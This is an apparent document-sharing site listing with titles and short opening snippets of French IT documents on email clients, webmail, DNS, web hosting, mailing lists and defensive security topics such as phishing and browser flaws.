Manuel d utilisation email NETexcom Table des matières Vos emails avec NETexcom... 3 Présentation... 3 GroupWare... 3 WebMail emails sur internet... 4 Se connecter au Webmail... 4 Menu principal... 5 La
Serveurs de noms Protocoles HTTP et FTP
Nils Schaefer Théorie des réseaux (EC3a) Serveurs de noms Protocoles HTTP et FTP Théorie des réseaux (EC3a) Séance 7 Pourquoi DNS? Internet est une structure hiérarchique et arborescente de réseaux et
Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.
PERSPECTIVES Le Single Sign-On mobile vers Microsoft Exchange avec OWA et ActiveSync Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des
Sécurité des Postes Clients
HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Sécurité des Postes Clients Table ronde CFSSI Jeudi 29 mars 2007 Benjamin
Sécurité des applications Retour d'expérience
HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Netfocus Sécurité des applications Retour d'expérience Nicolas Collignon
http://www.jdl68160.com/informatique/yawcam.htm
Date de publication: le 11/05/2013 Date de modification le : 19/05/2013-20:45 Edition de la version PDF le 20/05/2013 Yawcam est un petit logiciel gratuit, mais très complet, permettant de diffuser/d'enregistrer
1 / Introduction. 2 / Gestion des comptes cpanel. Guide débuter avec WHM. 2.1Créer un package. 2.2Créer un compte cpanel
Guide débuter avec WHM 1 / Introduction WHM signifie Web Host Manager (ou gestionnaire d'hébergement web). WHM va donc vous permettre de gérer des comptes d'hébergement pour vos clients. (création de compte,
GUIDE DE L'UTILISATEUR AVERTI
GUIDE DE L'UTILISATEUR AVERTI SOMMAIRE MAILS FRAUDULEUX FRAUDE A LA CARTE BANCAIRE ACHETER SUR INTERNET LES BON REFELEXES Ce que dit la loi 1/ Au titre de l'escroquerie Article L313-1 du Code Pénal «L
Module BD et sites WEB
Module BD et sites WEB Cours 8 Bases de données et Web Anne Doucet Anne.Doucet@lip6.fr 1 Le Web Architecture Architectures Web Client/serveur 3-tiers Serveurs d applications Web et BD Couplage HTML-BD
Microsoft Hosted Exchange 2010 DOCUMENT D EXPLOITATION
Microsoft Hosted Exchange 2010 DOCUMENT D EXPLOITATION SOMMAIRE ACCES EX10... 3 CONFIGURATION EX10 A. Entrées DNS à créer sur le(s) nom(s) de domaine choisi(s)... 3 B. Configuration Outlook 2007 - MAPI...
Guide Utilisateur - Guide général d'utilisation du service via Zdesktop ou Webmail v.8. Powered by. - media-2001.communication &.
Guide Utilisateur - Guide général d'utilisation du service via Zdesktop ou Webmail v.8 Powered by - media-2001.communication &.networks 1 Version 3.0 Sommaire Introduction... 3 1. Configuration du logiciel
Section Configuration
8 Section Configuration MailCleaner s adapte aisément à vos besoins et à votre mode de travail. La section Configuration comporte six rubriques de base : Préférences d interface, Mode de filtrage, Page
Internet : Naviguer en toute sérénité
Internet 01 Mozilla Firefox Internet : Naviguer en toute sérénité Tutoriel Pratique 2 : «Internet : naviguer en toute sérénité» Durée de la séance : 2h tout public prérequis : - Connaître et utiliser les
La mémorisation des mots de passe dans les navigateurs web modernes
1 La mémorisation des mots de passe dans les navigateurs web modernes Didier Chassignol Frédéric Giquel 6 décembre 2005 - Congrès JRES 2 La problématique Multiplication des applications web nécessitant
THEGREENBOW FIREWALL DISTRIBUE TGB::BOB! Pro. Spécifications techniques
THEGREENBOW FIREWALL DISTRIBUE TGB::! Pro Spécifications techniques SISTECH SA THEGREENBOW 28 rue de Caumartin 75009 Paris Tel.: 01.43.12.39.37 Fax.:01.43.12.55.44 E-mail: info@thegreenbow.fr Web: www.thegreenbow.fr
Pack Fifty+ Normes Techniques 2013
Pack Fifty+ Normes Techniques 2013 Nos formats publicitaires par site 2 Normes techniques 2013 Display classique Pavé vidéo Footer Accueil panoramique Publi rédactionnel Quiz Jeu concours Emailing dédié
Installation et utilisation d'un certificat
1 IceWarp Merak Mail Server Installation et utilisation d'un certificat Icewarp France octobre 2007 2 Icewarp Merak Mail Serveur : Guide de mises à jour à la version 9 Sommaire Introduction...3 Situation
Guide Utilisateur - Guide général d'utilisation du service via Zdesktop ou Webmail v.8. Powered by. Version 3.0 - EXOCA 1
Guide Utilisateur - Guide général d'utilisation du service via Zdesktop ou Webmail v.8 Powered by Version 3.0 - EXOCA 1 Sommaire Introduction... 3 1. Configuration du logiciel Zdesktop...4 2. Connexion
Espace Client Aide au démarrage
Espace Client Aide au démarrage 1. A propos de l Espace Client... 2 a. Nouvelles fonctionnalités... 2 b. Reprise de vos documents... 2 c. Migration vers l Espace Client... 2 2. Accès à l Espace Client...
webmestre : conception de sites et administration de serveurs web 42 crédits Certificat professionnel CP09
AISL - Architecture et Intégration des Systèmes Logiciels - 2011-2012 webmestre : conception de sites et administration de serveurs web 42 crédits Certificat professionnel CP09 Administrer un serveur et
Messagerie. Dominique MARANT CRI Lille 1. Octobre 2006
Messagerie Dominique MARANT CRI Lille 1 Octobre 2006 Plan Adressage messagerie - Conventions USTL - Formes d adresses Rôle du correspondant messagerie Relais de messagerie -Trafic - Sécurité Lutte contre
Glossaire. Acces Denied
Glossaire Acces Denied Littéralement, Accès refusé. Procédure en vigueur sur les espaces de discussion et permettant aux administrateurs d'interdire l'accès à une personne, en général repérée par son adresse
Richard MONTBEYRE Master 2 Professionnel Droit de l Internet Administration Entreprises. La banque en ligne et le protocole TLS : exemple
Richard MONTBEYRE Master 2 Professionnel Droit de l Internet Administration Entreprises La banque en ligne et le protocole TLS : exemple 1 Introduction Définition du protocole TLS Transport Layer Security
TAGREROUT Seyf Allah TMRIM
TAGREROUT Seyf Allah TMRIM Projet Isa server 2006 Installation et configuration d Isa d server 2006 : Installation d Isa Isa server 2006 Activation des Pings Ping NAT Redirection DNS Proxy (cache, visualisation
TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012
TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012 FORMULAIRE DE CONTACT POUR PORTFOLIO PRINCIPE GENERAL Nous souhaitons réaliser un formulaire de contact comprenant les champs suivants : NOM PRENOM ADRESSE MAIL MESSAGE
Se débarrasser des emails indésirables
Se débarrasser des emails indésirables Qui ne reçoit pas fréquemment par mail des offres d'achats de médicaments, cigarettes ou de logiciels, quand ce n'est pas pour vanter des sites Internet pour adultes?
Protocoles Applicatifs
Programmation Réseau Protocoles Applicatifs Jean-Baptiste.Yunes@liafa.jussieu.fr UFR Informatique 2011-2012 Protocoles Protocoles applicatifs on appelle protocole applicatif ou protocole d application
Formation > Développement > Internet > Réseaux > Matériel > Maintenance
Formation > Développement > Internet > Réseaux > Matériel > Maintenance SOMMAIRE 1. ACCEDER A L'INTERFACE D'ADMINISTRATION...5 1.1. Le navigateur... 5 1.2. L'interface d'administration... 5 2. METTRE
Guide de réalisation d une campagne e-mail marketing
Guide de réalisation d une campagne e-mail marketing L ère des envois d e-mails en masse est révolue! Laissant la place à une technique d e-mail marketing ciblé, personnalisé, segmenté et pertinent. La
Club des Responsables d Infrastructures et de la Production
Club des Responsables d Infrastructures et de la Production LA BRIGADE D ENQUÊTES SUR LES FRAUDES AUX TECHNOLOGIES DE L INFORMATION Intervention du Commissaire Divisionnaire Anne SOUVIRA Le 19 mars 2014
Assistance à distance sous Windows
Bureau à distance Assistance à distance sous Windows Le bureau à distance est la meilleure solution pour prendre le contrôle à distance de son PC à la maison depuis son PC au bureau, ou inversement. Mais
LISTES DE DISTRIBUTION GÉRÉES PAR SYMPA DOCUMENT EXPLICATIF DE L'INTERFACE WEB À L'INTENTION DES ABONNÉS
LISTES DE DISTRIBUTION GÉRÉES PAR SYMPA DOCUMENT EXPLICATIF DE L'INTERFACE WEB À L'INTENTION DES ABONNÉS MAI 2013 Table des matières 1. Introduction... 3 2. Interface d accueil... 4 2.1. Zone d authentification...
Hébergement de site web Damien Nouvel
Hébergement de site web Plan L'hébergeur Le serveur web Apache Sites dynamiques 2 / 27 Plan L'hébergeur Le serveur web Apache Sites dynamiques 3 / 27 L'hébergeur L'hébergeur sous-traite l'architecture
Manuel utilisateur. des. listes de diffusion. Sympa. l'université Lille 3
Manuel utilisateur des listes de diffusion Sympa à l'université Lille 3 1 Table des matières Table des matières...2 I. Introduction...3 II. Principe général de fonctionnement de «Sympa»...3 1. Les principaux
Tutoriel d'utilisation du logiciel Thunderbird version 2.0
Tutoriel d'utilisation du logiciel Thunderbird version 2.0 par Estyaah Tutoriel sur l'utilisation de Thunderbird 2.0 pour Windows Estyaah -1- Introduction 1 Présentation 2 Utilisation Basique 2-1 - Installation
Publier dans la Base Documentaire
Site Web de l association des ingénieurs INSA de Lyon Publier dans la Base Documentaire Remarque : la suppression des contributions n est pas possible depuis le Front-Office. lbuisset Page 1 18/09/2008
Hébergement WeboCube. Un système performant et sécurisé. Hébergement géré par une équipe de techniciens
Hébergement WeboCube Le service d'hébergement WeboCube a pour but de sécuriser la présence internet grâce à un suivi personnalisé et une maintenance active de votre serveur internet. Un espace de gestion
NETTOYER ET SECURISER SON PC
NETTOYER ET SECURISER SON PC NETTOYER Pourquoi nettoyer son PC? Pour gagner de la place sur votre disque dur Pour accélérer son fonctionnement Pour supprimer tous les logiciels et fichiers inutiles ou
Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP
Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP Au cours de ce TP, vous allez voir comment PHP permet aux utilisateurs, une interaction avec
Transfert de fichiers (ftp) avec dreamweaver cs5 hébergement et nom de domaine. MC Benveniste
Transfert de fichiers (ftp) avec dreamweaver cs5 hébergement et nom de domaine MC Benveniste 2013 Configuration Vous devez au préalable avoir un hébergeur, qui vous aura fourni les codes ftp, le log-in
Guide Numériser vers FTP
Guide Numériser vers FTP Pour obtenir des informations de base sur le réseau et les fonctions réseau avancées de l appareil Brother : consultez le uu Guide utilisateur - Réseau. Pour obtenir des informations
Comment se protéger contre les e-mails suspicieux?
De l attaque massive à l attaque chirurgicale, Comment se protéger contre les e-mails suspicieux? Spear-phishing Usurpation d identité - Auteur Vade Retro Technology Octobre 2011 Sommaire Observations...
Faille dans Internet Explorer 7
Janvier Faille dans Internet Explorer 7 Une faille a été découverte dans le nouveau navigateur, celle-ci permettrait à un pirate d'insérer du code malicieux. Lorsque le navigateur est lancé, des DLL sont
Courrier électronique
Être efficace avec son ordinateur Courrier DOMINIQUE LACHIVER Paternité - Pas d'utilisation Commerciale - Partage des Conditions Initiales à l'identique : http://creativecommons.org/licenses/by-nc-sa/2.0/fr/
I Pourquoi une messagerie?
I Pourquoi une messagerie? Outlook express est un logiciel de messagerie de windows. Il est installé par défaut sur un grand nombre d ordinateurs de la planète, ceux tournant sous Windows, et proposé par
Module Communication - Messagerie V6. Infostance. Messagerie
1 Infostance Messagerie 2 Table des matières Les droits... 3 La boîte de réception... 4 Fonctionnalités disponibles via le clic droit sur un message... 6 Ecrire un nouveau message... 7 Présentation...